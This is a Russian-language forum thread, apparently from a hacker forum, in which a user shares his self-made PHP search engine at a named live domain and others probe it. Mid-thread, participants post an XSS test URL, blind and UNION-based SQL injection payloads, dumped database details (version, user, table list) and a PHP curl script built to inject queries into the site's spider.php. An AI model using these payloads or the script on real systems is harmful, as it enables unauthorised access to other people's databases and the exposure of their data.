Сегодня решил помаяться фигней

[Kamik]

Сегодня решил помаяться фигней и поставить свой поисковик с самостоятельной индексацией (не парсер гугла)

Пробуйте, может кому понравится.

http://search.sakh-sun.ru/

Ребята пробуемс и добавляем сайты, Жду положительных отзывов

PS Ссори за рекламу, на самом деле просто хочу поделиться своей работой

[Filadmix]

Ыы... солнечный поиск. Название улыбнуло уже

[PHOEN_i_X]

По поиску форум гомосексуалистов
заголовок не тот выдает )))

[Полкан]

Достойный конкурент Гугла

[Filadmix]

Мм... проверял в опере работу ? Когда жмеш мышкой в поле ввода - сразу выдает "Добавите сайт, введите адрес.... и т.д." Не годится :)

[EndLeSSDre@M]

в гугл хром тоже самое(

[d_x]

Warning: Division by zero in /home/host1000119/sakh-sun.ru/htdocs/search/include/searchfuncs.php on line 602

Warning: preg_match() expects parameter 2 to be string, array given in /home/host1000119/sakh-sun.ru/htdocs/search/search.php on line 56

Fatal error: Unsupported operand types in /home/host1000119/sakh-sun.ru/htdocs/search/include/searchfuncs.php on line 378


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ',,,,,,,,,,,,,,,,,,)' at line 1
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /home/host1000119/sakh-sun.ru/htdocs/search/include/searchfuncs.php on line 402
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ',,,,,,,,,,,,,,,,,,)' at line 1

http://search.sakh-sun.ru/spider.php?url=%3Cscript%3Ealert%28/xss/%29%3C/script%3E

Там же sql:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dgdfgdf''' at line 1



Со страницами в UTF-8 конкретные проблемы, иероглифы.
Поисковик на PHP не вытянет хорошую нагрузку.

[POS_troi]

знакомый скрипт (вроде) =)

[GrinGoO]

Usage: php spider.php Options: -all Reindex everything in the database -u Set url to index -f Set indexing depth to full (unlimited depth) -d Set indexing depth to -l Allow spider to leave the initial domain -r Set spider to reindex a site -m Set the string(s) that an url must include (use \n as a delimiter between multiple strings) -n Set the string(s) that an url must not include (use \n as a delimiter between multiple strings)

[L I G A]

d_x
2 column's
5-й мускул
ПС крутить как слепую

[Ponchik]

В опере просит сатй добавить =\

[jenyavlg]

чё то встал он у меня при индексации на 14

[Ponchik]

Пойду хекоть раз sql inj есть
5.1.38-log

[Aikaram]

Magic Searh атаковал!111

Работничег =\

[L I G A]

Пойду хекоть раз sql inj есть
5.1.38-log
брутом?

[Ponchik]

брутом?
СИ

[L I G A]

-' and IF(substring((version()),1,1)=5,1,(select 1 union select 2)) and ''='

[Ponchik]

там больше 15 таблиц >_<

[A_n_d_r_e_i]

В опере просит сатй добавить =\
угу :( +2 ошибки в словах на http://search.sakh-sun.ru/add_site.php

[XenkoK]

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2883584 bytes) in /home/host1000119/sakh-sun.ru/htdocs/search/spider.php on line 183

[Ponchik]

VERSION() 5.1.38-log
DATABASE() host1000119_search

Таблы в БД host1000119_search
0 search_categories
1 search_domains
2 search_keywords
3 search_link_keyword0
4 search_link_keyword1
5 search_link_keyword2
6 search_link_keyword3
7 search_link_keyword4
8 search_link_keyword5
9 search_link_keyword6
10 search_link_keyword7
11 search_link_keyword8
12 search_link_keyword9
13 search_link_keyworda
14 search_link_keywordb
15 search_link_keywordc
16 search_link_keywordd
17 search_link_keyworde
18 search_link_keywordf
19 search_links
20 search_keywords
21 search_query_log
22 search_site_category
23 search_sites
24 search_temp
:o Структура прям ппц

USER() host1000119_sear@localhost
Для юзера доступно 2 БД
host1000119_search
information_schema

ппц, а как работат sakh-sun.ru
Знач там другой юзверь :(

[aka_zver]

24 штуки...
Пончик хек ;)

[Ponchik]

вот для кого люди стараются ? ;) https://forum.antichat.ru/showpost.php?p=1630322&postcount=13

Там описан метод как найти таблы если пага не меняется, но есть вывод ошибок, и то там брутом :o
А тут пага меняется, при TRUE говорит "присутствует в базе данных" если FALSE - не говорит
http://' UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES WHERE 1=1#
http://' UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES WHERE 1=2#
Если запрос вернёт "1" скрипт говорит "присутствует в базе данных", просто Union select 1,2 не вернёт, поэтому надо из таблы, и добовляем условие
Хакеры... :rolleyes:

Нате вам гейт для GET Запроса
<?php
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://search.sakh-sun.ru/spider.php");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'url=http%3A%2F%2F2q%27+UNION+SELECT+1%2C2+FROM+in formation_schema.tables+WHERE+1%3D1'.$_GET['c'].'&soption=level&maxlevel=2&in=&out=');

curl_exec($ch);

curl_close($ch);
?>Можно будет юзать script.php?c=%20AND 1=1%23
Ну я для себя делал потомучо мне быстрее гейт написать, чем настроить тузлу на POST

[Filadmix]

Пончик, а шо это ты сделал ? Я ничего не пойму

[Ponchik]

Пончик, а шо это ты сделал ? Я ничего не пойму
Да хз, я видео скачал и повторял всё как в видео, вон, вроде получилось
Но блин, я захожу на mail.ru пишу в поиск
http://' UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES WHERE 1=2#
и ничего неполучается, на icq.com таже телега, чё делать?

[Filadmix]

Цитата:
http://' UNION SELECT 1,2 FROM INFORMATION_SCHEMA.TABLES WHERE 1=2#

и ничего неполучается, на icq.com таже телега, чё делать?Я тоже ввожу и нифига. Пишет что такого документа не найдено, что же делать ? Наверное тут ошипка

[LiteMentaL]

ссори но ху*ня имхо

[Chack.]

Kamik
Флудер
Регистрация: 02.12.2008
Сообщения: 4,294,967,294
Провел на форуме:
3 дня 6 часов 12 минут
Репутация: 2

О_____О
WTF?!

[А®ТеS]

Ponchik, в гугле inj'a нормально пашет, а на майле нет?? Гугл - сакс, юзайте майл!!

[LiteMentaL]

Kamik
Флудер
Регистрация: 02.12.2008
Сообщения: 4,294,967,294
Провел на форуме:
3 дня 6 часов 12 минут

Репутация: 2
чё за херня? о_О WTF?!

Добавлено позже:
Аа всё ясно, эт глюк...

[Ponchik]

Это не глюк, это когда у тебя -1 сообщение тогда оно превращается в 4,294,967,294

[aka_zver]

Это не глюк, это когда у тебя -1 сообщение тогда оно превращается в 4,294,967,294
а как вообще возможно -1 сообщение ? WTF ?

[Kamik]

Ребята, конечно спасибо, но блин...е-мае...

Сейчас в базе: 5415 сайтов, 6316 ссылок, 1 категорий и 148746 ключевых слов.

И нафига все время скулить было. там же только база сайтов. Вся аутентификация хранится в других местах.
Но все равно спасибо...будем делать работу над ошибками)))

[VirtuoZ]

нашол супер-баг: <a href="add_site.php">Добавить свой сайт в поисковую систему</a>

[Kamik]

исправил

[Kamik]

блин...чет никак не могу скуль исправить. может кто поможет

[LiteMentaL]

Это не глюк, это когда у тебя -1 сообщение тогда оно превращается в 4,294,967,294 а как эт сделать?